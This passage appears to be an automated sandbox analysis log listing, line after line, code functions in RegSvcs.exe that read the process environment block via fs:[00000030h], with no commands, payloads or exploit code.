Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150A118 mov eax, dword ptr fs:[00000030h]	4_2_0150A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov eax, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov ecx, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov eax, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov eax, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov ecx, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov eax, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov eax, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov ecx, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov eax, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E10E mov ecx, dword ptr fs:[00000030h]	4_2_0150E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01490124 mov eax, dword ptr fs:[00000030h]	4_2_01490124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015261C3 mov eax, dword ptr fs:[00000030h]	4_2_015261C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015261C3 mov eax, dword ptr fs:[00000030h]	4_2_015261C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE1D0 mov eax, dword ptr fs:[00000030h]	4_2_014DE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE1D0 mov eax, dword ptr fs:[00000030h]	4_2_014DE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE1D0 mov ecx, dword ptr fs:[00000030h]	4_2_014DE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE1D0 mov eax, dword ptr fs:[00000030h]	4_2_014DE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE1D0 mov eax, dword ptr fs:[00000030h]	4_2_014DE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014901F8 mov eax, dword ptr fs:[00000030h]	4_2_014901F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015361E5 mov eax, dword ptr fs:[00000030h]	4_2_015361E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A0185 mov eax, dword ptr fs:[00000030h]	4_2_014A0185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01504180 mov eax, dword ptr fs:[00000030h]	4_2_01504180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01504180 mov eax, dword ptr fs:[00000030h]	4_2_01504180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E019F mov eax, dword ptr fs:[00000030h]	4_2_014E019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E019F mov eax, dword ptr fs:[00000030h]	4_2_014E019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E019F mov eax, dword ptr fs:[00000030h]	4_2_014E019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E019F mov eax, dword ptr fs:[00000030h]	4_2_014E019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145A197 mov eax, dword ptr fs:[00000030h]	4_2_0145A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145A197 mov eax, dword ptr fs:[00000030h]	4_2_0145A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145A197 mov eax, dword ptr fs:[00000030h]	4_2_0145A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151C188 mov eax, dword ptr fs:[00000030h]	4_2_0151C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151C188 mov eax, dword ptr fs:[00000030h]	4_2_0151C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01462050 mov eax, dword ptr fs:[00000030h]	4_2_01462050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E6050 mov eax, dword ptr fs:[00000030h]	4_2_014E6050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148C073 mov eax, dword ptr fs:[00000030h]	4_2_0148C073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E4000 mov ecx, dword ptr fs:[00000030h]	4_2_014E4000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01502000 mov eax, dword ptr fs:[00000030h]	4_2_01502000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01502000 mov eax, dword ptr fs:[00000030h]	4_2_01502000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01502000 mov eax, dword ptr fs:[00000030h]	4_2_01502000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01502000 mov eax, dword ptr fs:[00000030h]	4_2_01502000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01502000 mov eax, dword ptr fs:[00000030h]	4_2_01502000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01502000 mov eax, dword ptr fs:[00000030h]	4_2_01502000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01502000 mov eax, dword ptr fs:[00000030h]	4_2_01502000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01502000 mov eax, dword ptr fs:[00000030h]	4_2_01502000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147E016 mov eax, dword ptr fs:[00000030h]	4_2_0147E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147E016 mov eax, dword ptr fs:[00000030h]	4_2_0147E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147E016 mov eax, dword ptr fs:[00000030h]	4_2_0147E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147E016 mov eax, dword ptr fs:[00000030h]	4_2_0147E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145A020 mov eax, dword ptr fs:[00000030h]	4_2_0145A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145C020 mov eax, dword ptr fs:[00000030h]	4_2_0145C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F6030 mov eax, dword ptr fs:[00000030h]	4_2_014F6030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E20DE mov eax, dword ptr fs:[00000030h]	4_2_014E20DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145A0E3 mov ecx, dword ptr fs:[00000030h]	4_2_0145A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E60E0 mov eax, dword ptr fs:[00000030h]	4_2_014E60E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014680E9 mov eax, dword ptr fs:[00000030h]	4_2_014680E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145C0F0 mov eax, dword ptr fs:[00000030h]	4_2_0145C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A20F0 mov ecx, dword ptr fs:[00000030h]	4_2_014A20F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146208A mov eax, dword ptr fs:[00000030h]	4_2_0146208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014580A0 mov eax, dword ptr fs:[00000030h]	4_2_014580A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F80A8 mov eax, dword ptr fs:[00000030h]	4_2_014F80A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015260B8 mov eax, dword ptr fs:[00000030h]	4_2_015260B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015260B8 mov ecx, dword ptr fs:[00000030h]	4_2_015260B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152A352 mov eax, dword ptr fs:[00000030h]	4_2_0152A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01508350 mov ecx, dword ptr fs:[00000030h]	4_2_01508350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E2349 mov eax, dword ptr fs:[00000030h]	4_2_014E2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E035C mov eax, dword ptr fs:[00000030h]	4_2_014E035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E035C mov eax, dword ptr fs:[00000030h]	4_2_014E035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E035C mov eax, dword ptr fs:[00000030h]	4_2_014E035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E035C mov ecx, dword ptr fs:[00000030h]	4_2_014E035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E035C mov eax, dword ptr fs:[00000030h]	4_2_014E035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E035C mov eax, dword ptr fs:[00000030h]	4_2_014E035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0153634F mov eax, dword ptr fs:[00000030h]	4_2_0153634F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150437C mov eax, dword ptr fs:[00000030h]	4_2_0150437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A30B mov eax, dword ptr fs:[00000030h]	4_2_0149A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A30B mov eax, dword ptr fs:[00000030h]	4_2_0149A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A30B mov eax, dword ptr fs:[00000030h]	4_2_0149A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145C310 mov ecx, dword ptr fs:[00000030h]	4_2_0145C310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01480310 mov ecx, dword ptr fs:[00000030h]	4_2_01480310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01538324 mov eax, dword ptr fs:[00000030h]	4_2_01538324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01538324 mov ecx, dword ptr fs:[00000030h]	4_2_01538324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01538324 mov eax, dword ptr fs:[00000030h]	4_2_01538324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01538324 mov eax, dword ptr fs:[00000030h]	4_2_01538324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015043D4 mov eax, dword ptr fs:[00000030h]	4_2_015043D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015043D4 mov eax, dword ptr fs:[00000030h]	4_2_015043D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014683C0 mov eax, dword ptr fs:[00000030h]	4_2_014683C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014683C0 mov eax, dword ptr fs:[00000030h]	4_2_014683C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014683C0 mov eax, dword ptr fs:[00000030h]	4_2_014683C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014683C0 mov eax, dword ptr fs:[00000030h]	4_2_014683C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0146A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0146A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0146A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0146A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0146A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0146A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E3DB mov eax, dword ptr fs:[00000030h]	4_2_0150E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E3DB mov eax, dword ptr fs:[00000030h]	4_2_0150E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E3DB mov ecx, dword ptr fs:[00000030h]	4_2_0150E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150E3DB mov eax, dword ptr fs:[00000030h]	4_2_0150E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151C3CD mov eax, dword ptr fs:[00000030h]	4_2_0151C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014703E9 mov eax, dword ptr fs:[00000030h]	4_2_014703E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014703E9 mov eax, dword ptr fs:[00000030h]	4_2_014703E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014703E9 mov eax, dword ptr fs:[00000030h]	4_2_014703E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014703E9 mov eax, dword ptr fs:[00000030h]	4_2_014703E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014703E9 mov eax, dword ptr fs:[00000030h]	4_2_014703E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014703E9 mov eax, dword ptr fs:[00000030h]	4_2_014703E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014703E9 mov eax, dword ptr fs:[00000030h]	4_2_014703E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014703E9 mov eax, dword ptr fs:[00000030h]	4_2_014703E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014963FF mov eax, dword ptr fs:[00000030h]	4_2_014963FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147E3F0 mov eax, dword ptr fs:[00000030h]	4_2_0147E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147E3F0 mov eax, dword ptr fs:[00000030h]	4_2_0147E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147E3F0 mov eax, dword ptr fs:[00000030h]	4_2_0147E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148438F mov eax, dword ptr fs:[00000030h]	4_2_0148438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148438F mov eax, dword ptr fs:[00000030h]	4_2_0148438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145E388 mov eax, dword ptr fs:[00000030h]	4_2_0145E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145E388 mov eax, dword ptr fs:[00000030h]	4_2_0145E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145E388 mov eax, dword ptr fs:[00000030h]	4_2_0145E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01458397 mov eax, dword ptr fs:[00000030h]	4_2_01458397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01458397 mov eax, dword ptr fs:[00000030h]	4_2_01458397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01458397 mov eax, dword ptr fs:[00000030h]	4_2_01458397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151A250 mov eax, dword ptr fs:[00000030h]	4_2_0151A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151A250 mov eax, dword ptr fs:[00000030h]	4_2_0151A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E8243 mov eax, dword ptr fs:[00000030h]	4_2_014E8243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E8243 mov ecx, dword ptr fs:[00000030h]	4_2_014E8243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0153625D mov eax, dword ptr fs:[00000030h]	4_2_0153625D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145A250 mov eax, dword ptr fs:[00000030h]	4_2_0145A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466259 mov eax, dword ptr fs:[00000030h]	4_2_01466259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274 mov eax, dword ptr fs:[00000030h]	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01464260 mov eax, dword ptr fs:[00000030h]	4_2_01464260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01464260 mov eax, dword ptr fs:[00000030h]	4_2_01464260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01464260 mov eax, dword ptr fs:[00000030h]	4_2_01464260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145826B mov eax, dword ptr fs:[00000030h]	4_2_0145826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145823B mov eax, dword ptr fs:[00000030h]	4_2_0145823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0146A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0146A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0146A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0146A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0146A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015362D6 mov eax, dword ptr fs:[00000030h]	4_2_015362D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014702E1 mov eax, dword ptr fs:[00000030h]	4_2_014702E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014702E1 mov eax, dword ptr fs:[00000030h]	4_2_014702E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014702E1 mov eax, dword ptr fs:[00000030h]	4_2_014702E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E0283 mov eax, dword ptr fs:[00000030h]	4_2_014E0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E0283 mov eax, dword ptr fs:[00000030h]	4_2_014E0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E0283 mov eax, dword ptr fs:[00000030h]	4_2_014E0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E284 mov eax, dword ptr fs:[00000030h]	4_2_0149E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E284 mov eax, dword ptr fs:[00000030h]	4_2_0149E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014702A0 mov eax, dword ptr fs:[00000030h]	4_2_014702A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014702A0 mov eax, dword ptr fs:[00000030h]	4_2_014702A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F62A0 mov eax, dword ptr fs:[00000030h]	4_2_014F62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F62A0 mov ecx, dword ptr fs:[00000030h]	4_2_014F62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F62A0 mov eax, dword ptr fs:[00000030h]	4_2_014F62A0
